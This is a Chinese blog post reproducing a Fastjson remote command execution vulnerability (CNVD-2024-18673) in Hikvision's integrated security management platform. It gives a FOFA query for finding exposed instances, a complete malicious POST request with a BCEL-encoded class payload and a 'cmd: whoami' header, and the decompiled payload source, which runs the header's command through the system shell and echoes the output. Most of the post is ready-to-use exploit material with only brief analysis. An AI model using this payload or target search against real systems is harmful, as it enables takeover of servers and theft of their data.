海康综合安防管理平台远程命令执行漏洞（CNVD-2024-18673）复现

fly夏天

已于 2024-06-26 18:16:50 修改

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分类专栏：漏洞复现文章标签：漏洞复现 rce漏洞 fastjson 海康威视

于 2024-06-19 18:34:52 首次发布

本文链接：https://blog.csdn.net/xiayu729100940/article/details/139810232

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海康威视部分综合安防管理平台管理平台存在Fastjson远程命令执行漏洞，攻击者可通过构造恶意Payload执行并获取服务器系统权限以及敏感数据信息。

1.漏洞级别

高危

2.漏洞搜索

fofa:

title="综合安防管理平台"

3.影响范围

未知

4.漏洞复现

这个漏洞比较简单，在/bic/ssoService/v1/keepAlive 接口存在fastjson漏洞，构造post请求即可触发。

POST /bic/ssoService/v1/keepAlive HTTP/1.1
Host: 
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
cmd: whoami
Connection: close
Content-Length: 3330

{"CTGT":{ "a": {"@type": "java.lang.Class","val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"},"b": {"@type": "java.lang.Class","val": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"c": {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"}}

漏洞存在即可直接回显结果。
在这里插入图片描述

4.2 利用代码简单分析

payload中的二进制代码是BCEL类的加密内容。如果想要进行分析的话，可以通过工具来直接解析出结果。
随文附上解析工具，执行

java -jar BCELCode.jar -d 1.txt

解析出的内容如下

// Source code is decompiled from a .class file using FernFlower decompiler.
package com.fastjson.vul;

import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho {
   public SpringEcho() {
   }

   static {
      try {
         Class var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
         Method var1 = var0.getMethod("getRequestAttributes");
         Object var2 = var1.invoke((Object)null);
         var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
         var1 = var0.getMethod("getResponse");
         Method var3 = var0.getMethod("getRequest");
         Object var4 = var1.invoke(var2);
         Object var5 = var3.invoke(var2);
         Method var6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
         Method var7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
         var7.setAccessible(true);
         var6.setAccessible(true);
         Object var8 = var6.invoke(var4);
         String var9 = (String)var7.invoke(var5, "cmd");
         String[] var10 = new String[3];
         if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
            var10[0] = "cmd";
            var10[1] = "/c";
         } else {
            var10[0] = "/bin/sh";
            var10[1] = "-c";
         }

         var10[2] = var9;
         var8.getClass().getDeclaredMethod("println", String.class).invoke(var8, (new Scanner(Runtime.getRuntime().exec(var10).getInputStream())).useDelimiter("\\A").next());
         var8.getClass().getDeclaredMethod("flush").invoke(var8);
         var8.getClass().getDeclaredMethod("close").invoke(var8);
      } catch (Exception var11) {
      }

   }
}

有兴趣的可以自己研究一下。

如有问题欢迎随时沟通～